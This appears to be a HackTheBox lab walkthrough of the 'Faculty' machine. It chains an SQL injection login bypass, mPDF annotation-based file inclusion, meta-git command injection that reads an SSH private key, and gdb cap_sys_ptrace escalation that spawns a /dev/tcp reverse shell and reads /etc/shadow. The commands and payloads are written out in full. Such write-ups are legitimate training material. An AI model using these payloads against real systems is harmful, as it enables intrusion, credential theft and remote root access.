12 minute read

Faculty is a medium level machine by gbyolo on HackTheBox. This Linux box focuses on vulnerabilities in a web app and software used by it.

Machine Information


We start with an authentication bypass using SQLi to gain access to a scheduling system. Inside we find an old version of mPDF is in use, which we exploit to achieve local file inclusion and read sensitive files on the box. Eventually this leads us to SSH access as a low level user. A simple RCE allows us to retrieve the SSH private key of another user. Logged in as them we use insecure capabilities applied to gdb to get a root shell.

Hosting Site HackTheBox
Link To Machine HTB - Medium - Faculty
Machine Release Date 2nd July 2022
Date I Completed It 20th July 2022
Distribution Used Kali 2022.2 – Release Info

Initial Recon

As always let’s start with Nmap:

└─# ports=$(nmap -p- --min-rate=1000 -T4 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

└─# nmap -p$ports -sC -sV -oA faculty
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-18 23:03 BST
Nmap scan report for
Host is up (0.031s latency).

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e9:41:8c:e5:54:4d:6f:14:98:76:16:e7:29:2d:02:16 (RSA)
|   256 43:75:10:3e:cb:78:e9:52:0e:eb:cf:7f:fd:f6:6d:3d (ECDSA)
|_  256 c1:1c:af:76:2b:56:e8:b3:b8:8a:e9:69:73:7b:e6:f5 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://faculty.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We only have two open ports on this box. There’s a redirect to a DNS name so let’s add that to our hosts file:

└─# echo " faculty.htb" >> /etc/hosts

Now we can look at the website:



We don’t have a Faculty ID, let’s have a look for subfolders with Feroxbuster:

└─# feroxbuster -u http://faculty.htb

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.0
 🎯  Target Url            │ http://faculty.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
 🏁  Press [ENTER] to use the Scan Management Menu™
301      GET        7l       12w      178c http://faculty.htb/admin => http://faculty.htb/admin/
302      GET      359l      693w        0c http://faculty.htb/ => login.php
301      GET        7l       12w      178c http://faculty.htb/mpdf => http://faculty.htb/mpdf/
301      GET        7l       12w      178c http://faculty.htb/mpdf/qrcode => http://faculty.htb/mpdf/qrcode/

We see a couple of interesting folders. Admin an obvious starting point, and mpdf which I’ve not seen before.

SQLi Bypass

Admin takes us to a login page which we can bypass with a simple SQL injection:


We are inside the scheduling system:



Looking around there’s sections for courses, subjects and staff. Each section has a PDF button to download the data:


Clicking the PDF button downloads the file:


Looking at the PDF properties we see the version of mPDF used was 6.0. Let’s have a look in Burp when we download the PDF that gets generated:


Decoding mPDF String

We can see a long string which is bas64 encoded, let’s decode:


The output from that is URL encoded, let’s decode:

└─# python3 -c "import urllib.parse; print(urllib.parse.unquote('%253Ch1%253E%253Ca%2Bname%253D%2522top%2522%253E%253C%252Fa%253Efaculty.htb%253C%252Fh1%253E%253Ch2%253ESubjects%253C%252Fh2%253E%253Ctable%253E%2509%25<SNIP>53C%252Ftboby%253E%253C%252Ftable%253E'))"

The output from that is also URL encoded, let’s decode:

└─# python3 -c "import urllib.parse; print(urllib.parse.unquote('%3Ch1%3E%3Ca+name%3D%22top%22%3E%3C%2Fa%3Efaculty.htb%3C%2Fh1%3E%3Ch2%3ESubjects%3C%2Fh2%3E%3Ctable%3E%09%3Cthead%3E%09%09%3Ctr%3E%09%09%09%3Cth+class%3D%22text-center%22%3E%23%3C%2Fth%3E%09%09%09%3Cth+class%3D%22text-left%22%3ESubject%3C%2Fth%3E%09%09%09%3Cth<SNIP>3C%2Ftable%3E'))" 
<h1><a+name="top"></a>faculty.htb</h1><h2>Subjects</h2><table>  <thead>         <tr>                    <th+class="text-center">#</th>                  <th+class="text-left">Subject</th>                      <th+class="text-left">Description</th>                     </tr></thead><tbody><tr><td+class="text-center">1</td><td+class="text-center"><b>DBMS</b></td><td+class="text-center"><small><b>Database+Management+System</b></small></td></tr><tr><td+class="text-center">2</td><td+class="text-center"><b>Mathematics</b></td><td+class="text-center"><small><b>Mathematics</b></small></td></tr><tr><td+class="text-center">3</td><td+class="text-center"><b>English</b></td><td+class="text-center"><small><b>English</b></small></td></tr><tr><td+class="text-center">4</td><td+class="text-center"><b>Computer+Hardware</b></td><td+class="text-center"><small><b>Computer+Hardware</b></small></td></tr><tr><td+class="text-center">5</td><td+class="text-center"><b>History</b></td><td+class="text-center"><small><b>History</b></small></td></tr></tboby></table>

We end up with HTML, if we open that in Firefox we can see its the same contents as the PDF that gets generated:


So we can intercept the POST request in Burp and replace the PDF string with something of our own choosing.

Local File Inclusion

Searching around I found this, which says in version 6.0 you can attach files by using the Annotation() function. It gives this example of attaching a file:

$mpdf->Annotation("File annotation", 0, 0, 'Note', '', '', 0, false, '', 'assets/tiger.jpg');

The mPDF docs here also show how to use the Annotation function with files. Looking on the GitHub repo for mPDF I found this issue with an example of retrieving the passwd file:

<annotation file="/etc/passwd" content="/etc/passwd"  icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Let’s try it. We need to URL encode and then base64 encode, just like we did in reverse above:

└─# python3 -c "import urllib.parse; print(urllib.parse.quote('<annotation file=\"/etc/passwd\" content=\"/etc/passwd\" icon=\"Graph\" title=\"Attached File: /etc/passwd\" pos-x=\"195\" />'))" | base64

Here I’ve used Python to URL encode the example from above, then it gets base64 encoded. Now we need to log in to the Faculty site using our SQLi bypass:

└─# curl -i -s -k -X POST -b 'PHPSESSID=8fpk0ldu1vns710k2eafmsf3s6' --data-binary $'username=pencer\'+or+1%3D1%23&password=' 'http://faculty.htb/admin/ajax.php?action=login'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 20 Jul 2022 15:59:58 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache


We have a logged in session so we can send our base64 encoded payload from above:

└─# curl -i -s -k -X POST -b 'PHPSESSID=8fpk0ldu1vns710k2eafmsf3s6' --data-binary 'pdf=JTNDYW5ub3RhdGlvbiUyMGZpbGUlM0QlMjIvZXRjL3Bhc3N3ZCUyMiUyMGNvbnRlbnQlM0QlMjIvZXRjL3Bhc3N3ZCUyMiUyMGljb24lM0QlMjJHcmFwaCUyMiUyMHRpdGxlJTNEJTIyQXR0YWNoZWQlMjBGaWxlJTNBJTIwL2V0Yy9wYXNzd2QlMjIlMjBwb3MteCUzRCUyMjE5NSUyMiUyMC8lM0UK' 'http://faculty.htb/admin/download.php' -o -
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 20 Jul 2022 16:03:08 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive


We have the pdf filename so let’s grab it before it gets removed:

└─# wget http://faculty.htb/mpdf/tmp/OK3RloLOTaYzJH4fv2SkD8pxWy.pdf
--2022-07-20 17:04:20--  http://faculty.htb/mpdf/tmp/OK3RloLOTaYzJH4fv2SkD8pxWy.pdf
Resolving faculty.htb (faculty.htb)...
Connecting to faculty.htb (faculty.htb)||:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2576 (2.5K) [application/pdf]
Saving to: ‘OK3RloLOTaYzJH4fv2SkD8pxWy.pdf’
OK3RloLOTaYzJH4fv2SkD8pxWy.pdf    100%[==============>]   2.52K  --.-KB/s    in 0s      
2022-07-20 17:04:20 (380 MB/s) - ‘OK3RloLOTaYzJH4fv2SkD8pxWy.pdf’ saved [2576/2576]


We can use pdfdetach to get the attachment and then view it:

└─# pdfdetach -list OK3RloLOTaYzJH4fv2SkD8pxWy.pdf 
1 embedded files
1: passwd

└─# pdfdetach -save 1 OK3RloLOTaYzJH4fv2SkD8pxWy.pdf

└─# cat passwd | grep "bash"

I repeated the above to look at default nginx configuration files but didn’t get very far. Back to the website, I created a new faculty member here:


On the Schedule page I can view mine:


Exploiting faculty_id

If I capture that request to view my schedule in Burp we see there is a faculty_id:

POST /admin/ajax.php?action=get_schecdule HTTP/1.1
Host: faculty.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 12
Origin: http://faculty.htb
Connection: close
Referer: http://faculty.htb/admin/index.php?page=schedule
Cookie: PHPSESSID=8fpk0ldu1vns710k2eafmsf3s6


If I try that from a terminal with curl the response isn’t helpful:

└─# curl -X $'POST' -b $'PHPSESSID=8fpk0ldu1vns710k2eafmsf3s6' --data-binary $'faculty_id=6' $'http://faculty.htb/admin/ajax.php?action=get_schecdule' 

If I change the faculty_id to text it causes a fatal error:

└─# curl -X $'POST' -b $'PHPSESSID=8fpk0ldu1vns710k2eafmsf3s6' --data-binary $'faculty_id=pencer' $'http://faculty.htb/admin/ajax.php?action=get_schecdule'
<br />
<b>Fatal error</b>:  Uncaught Error: Call to a member function fetch_assoc() on bool in /var/www/scheduling/admin/admin_class.php:370
Stack trace:
#0 /var/www/scheduling/admin/ajax.php(100): Action-&gt;get_schecdule()
#1 {main}
  thrown in <b>/var/www/scheduling/admin/admin_class.php</b> on line <b>370</b><br />

This has revealed the path to the website root. Let’s grab that admin_class.php file, first here’s our new payload:

<annotation file="/var/www/scheduling/admin/admin_class.php" content="/var/www/scheduling/admin/admin_class.php"  icon="Graph" title="Attached File: /var/www/scheduling/admin/admin_class.php" pos-x="195" />

Like before URL encode then base64 encode that payload then send to the server with curl. Retrieve the pdf, extract the attachment, and we can review that source code:

└─# python3 -c "import urllib.parse; print(urllib.parse.quote('<annotation file=\"/var/www/scheduling/admin/admin_class.php\" content=\"/var/www/scheduling/admin/admin_class.php\"  icon=\"Graph\" title=\"Attached File: /var/www/scheduling/admin/admin_class.php\" pos-x=\"195\" />'))" | base64

└─# curl -i -s -k -X POST -b 'PHPSESSID=8fpk0ldu1vns710k2eafmsf3s6' --data-binary 'pdf=JTNDYW5ub3RhdGlvbiUyMGZpbGUlM0QlMjIvdmFyL3d3dy9zY2hlZHVsaW5nL2FkbWluL2FkbWluX2NsYXNzLnBocCUyMiUyMGNvbnRlbnQlM0QlMjIvdmFyL3d3dy9zY2hlZHVsaW5nL2FkbWluL2FkbWluX2NsYXNzLnBocCUyMiUyMCUyMGljb24lM0QlMjJHcmFwaCUyMiUyMHRpdGxlJTNEJTIyQXR0YWNoZWQlMjBGaWxlJTNBJTIwL3Zhci93d3cvc2NoZWR1bGluZy9hZG1pbi9hZG1pbl9jbGFzcy5waHAlMjIlMjBwb3MteCUzRCUyMjE5NSUyMiUyMC8lM0UK' 'http://faculty.htb/admin/download.php' -o -

└─# wget http://faculty.htb/mpdf/tmp/OK3gSkwW7JXl5vjqdHeQU4hAsP.pdf
--2022-07-20 23:01:20--  http://faculty.htb/mpdf/tmp/OK3gSkwW7JXl5vjqdHeQU4hAsP.pdf
Resolving faculty.htb (faculty.htb)...
Connecting to faculty.htb (faculty.htb)||:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4400 (4.3K) [application/pdf]
Saving to: ‘OK3gSkwW7JXl5vjqdHeQU4hAsP.pdf’
OK3gSkwW7JXl5vjqdHeQU4hAsP.pdf   100%[================>]   4.30K  --.-KB/s    in 0s
2022-07-20 23:01:20 (413 MB/s) - ‘OK3gSkwW7JXl5vjqdHeQU4hAsP.pdf’ saved [4400/4400]

└─# pdfdetach -save 1 OK3gSkwW7JXl5vjqdHeQU4hAsP.pdf

Code Review

We see another interesting file in here:

└─# cat admin_class.php
ini_set('display_errors', 1);
Class Action {
        private $db;

        public function __construct() {
        include 'db_connect.php';

The db_connect.php file surely has something useful. Repeat the above process to get the file, and now we can look at it:

└─# cat db_connect.php
$conn= new mysqli('localhost','sched','Co.met06aci.dly53ro.per','scheduling_db')or die("Could not connect to mysql".mysqli_error($con));

User Access

We have a password, and if you try it with the gbyolo user we found earlier we have SSH access:

└─# ssh gbyolo@     
gbyolo@ password: 
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)

  System information as of Thu Jul 21 00:11:23 CEST 2022

You have mail.
Last login: Wed Jul 20 21:33:39 2022 from

We have mail:

gbyolo@faculty:~$ mail
"/var/mail/gbyolo": 6 messages 5 new 1 unread
 U   1 developer@faculty. Tue Nov 10 15:03  16/623   Faculty group
>N   2 developer@faculty. Wed Jul 20 15:40  12/434   Output from your job        1
 N   3 developer@faculty. Wed Jul 20 15:41  12/434   Output from your job        2
 N   4 developer@faculty. Wed Jul 20 15:41  12/434   Output from your job        3
 N   5 developer@faculty. Wed Jul 20 15:42  12/394   Output from your job        4
 N   6 developer@faculty. Wed Jul 20 15:42  12/394   Output from your job        5
? 1
Return-Path: <developer@faculty.htb>
X-Original-To: gbyolo@faculty.htb
Delivered-To: gbyolo@faculty.htb
Received: by faculty.htb (Postfix, from userid 1001)
        id 0399E26125A; Tue, 10 Nov 2020 15:03:02 +0100 (CET)
Subject: Faculty group
To: <gbyolo@faculty.htb>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20201110140302.0399E26125A@faculty.htb>
Date: Tue, 10 Nov 2020 15:03:02 +0100 (CET)
From: developer@faculty.htb
X-IMAPbase: 1605016995 2
Status: O
X-UID: 1

Hi gbyolo, you can now manage git repositories belonging to the faculty group. Please check and if you have troubles just let me know!\ndeveloper@faculty.htb


Interesting. Next we can check sudo permissions:

-bash-5.0$ sudo -l
Matching Defaults entries for gbyolo on faculty:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User gbyolo may run the following commands on faculty:
    (developer) /usr/local/bin/meta-git

I haven’t used meta-git before, looking on GitHub we see it’s description:

Manage your meta repo and child git repositories.
git plugin for meta.

Meta-Git RCE

A search for meta-git exploit finds this on Synk.io which leads us to this on hackerone. We have a simple RCE exploit which we can combine with sudo permissions to execute as the developer user.

For instance we can look in the developer home folder with this:

sudo -u developer /usr/local/bin/meta-git clone 'pencer | ls -lsa ~'

Except it doesn’t work if we are still in the gbyolo users home folder:

-bash-5.0$ pwd
-bash-5.0$ sudo -u developer /usr/local/bin/meta-git clone 'pencer | ls -lsa ~'
meta git cloning into 'pencer | ls -lsa ~' at pencer | ls -lsa ~
pencer | ls -lsa ~: command 'git clone pencer | ls -lsa ~ pencer | ls -lsa ~' exited with error: Error: spawnSync /bin/sh EACCES
(node:45847) UnhandledPromiseRejectionWarning: Error: EACCES: permission denied, chdir '/home/gbyolo/pencer | ls -lsa ~'

So first move to /dev/shm then try again:

-bash-5.0$ sudo -u developer /usr/local/bin/meta-git clone 'pencer | ls -lsa ~'
   4 drwxr-xr-x 2 developer developer    4096 Jun 23 18:50 .ssh
   8 -rw------- 1 developer developer    7220 Jul 21 20:27 .viminfo
   4 -rwxrwxr-x 1 developer developer      65 Jul 21 20:27 sendmail.sh
   4 -rw-r----- 1 root      developer      33 Jul 21 10:56 user.txt

We see the user flag and a .ssh folder, let’s get the SSH private key so we can log in as the developer user:

-bash-5.0$ sudo -u developer /usr/local/bin/meta-git clone 'pencer | cat ~/.ssh/id_rsa'

SSH Access As Developer

Copy that to a file on Kali, remember to chmod 600 then use it to log in as developer:

└─# ssh -i id_rsa developer@
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)

  System information as of Thu Jul 21 23:20:16 CEST 2022

Last login: Thu Jul 21 23:20:08 2022 from

User Flag

Let’s grab the user flag:

-bash-5.0$ cat user.txt 


The path to root is actually really simple. You would have found this using LinPEAS, which is our usual go to method of looking for things that are out of the ordinary. I found it by looking at capabilities:

-bash-5.0$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/gdb = cap_sys_ptrace+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep

We can see gdb has the cap_sys_ptrace capability, which is covered by HackTricks here. All we need is a process running as root. We can then attach gdb to it and make it call the system function as root.

First find processes running as root:

-bash-5.0$ ps aux | grep "^root*"
root           1  0.0  0.5 170284 11528 ?        Ss   10:56   0:28 /sbin/init maybe-ubiquity
root           2  0.0  0.0      0     0 ?        S    10:56   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        I<   10:56   0:00 [rcu_gp]
root         668  0.0  0.3  99896  6008 ?        Ssl  10:56   0:00 /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root         687  0.0  0.4 238080  9176 ?        Ssl  10:56   0:01 /usr/lib/accountsservice/accounts-daemon
root         696  0.0  0.1  81956  3756 ?        Ssl  10:56   0:02 /usr/sbin/irqbalance --foreground
root         699  0.0  0.9  26896 18224 ?        Ss   10:56   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root         701  0.0  0.4 236436  9292 ?        Ssl  10:56   0:00 /usr/lib/policykit-1/polkitd --no-debug
root         707  0.0  0.3  17500  7796 ?        Ss   10:56   0:00 /lib/systemd/systemd-logind
root         708  0.0  0.6 395512 13720 ?        Ssl  10:56   0:00 /usr/lib/udisks2/udisksd
root         740  0.0  0.6 245084 13340 ?        Ssl  10:56   0:00 /usr/sbin/ModemManager

Through trial and error I found the process running python3 worked. So attach gdb to it:

-bash-5.0$ gdb -p 699
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
(No debugging symbols found in /lib/x86_64-linux-gnu/libgpg-error.so.0)
Reading symbols from /usr/lib/python3/dist-packages/_dbus_glib_bindings.cpython-38-x86_64-linux-gnu.so...
(No debugging symbols found in /usr/lib/python3/dist-packages/_dbus_glib_bindings.cpython-38-x86_64-linux-gnu.so)
Reading symbols from /usr/lib/python3.8/lib-dynload/_bz2.cpython-38-x86_64-linux-gnu.so...
(No debugging symbols found in /usr/lib/python3.8/lib-dynload/_bz2.cpython-38-x86_64-linux-gnu.so)
Reading symbols from /lib/x86_64-linux-gnu/libbz2.so.1.0...
(No debugging symbols found in /lib/x86_64-linux-gnu/libbz2.so.1.0)
Reading symbols from /usr/lib/python3.8/lib-dynload/_lzma.cpython-38-x86_64-linux-gnu.so...
(No debugging symbols found in /usr/lib/python3.8/lib-dynload/_lzma.cpython-38-x86_64-linux-gnu.so)
0x00007f0a7964d967 in __GI___poll (fds=0x25d9a60, nfds=3, timeout=-1) at ../sysdeps/unix/sysv/linux/poll.c:29
29      ../sysdeps/unix/sysv/linux/poll.c: No such file or directory.

Make sure you have netcat listening on Kali then use the system function to use bash to connect to it:

(gdb) call (void)system("/usr/bin/bash -c '/usr/bin/bash -i >& /dev/tcp/ 0>&1'")
[Detaching after vfork from child process 47309]

Root Flag

Switch to Kali to see we are now root:

└─# nc -nlvp 1234                                     
listening on [any] 1234 ...
connect to [] from (UNKNOWN) [] 55016

Let’s grab the root flag to finish the box:

root@faculty:/# cat /root/root.txt

root@faculty:/# cat /etc/shadow | grep root

And that’s another box done. I hope you enjoyed my walkthrough and maybe learned something along the way. See you next time.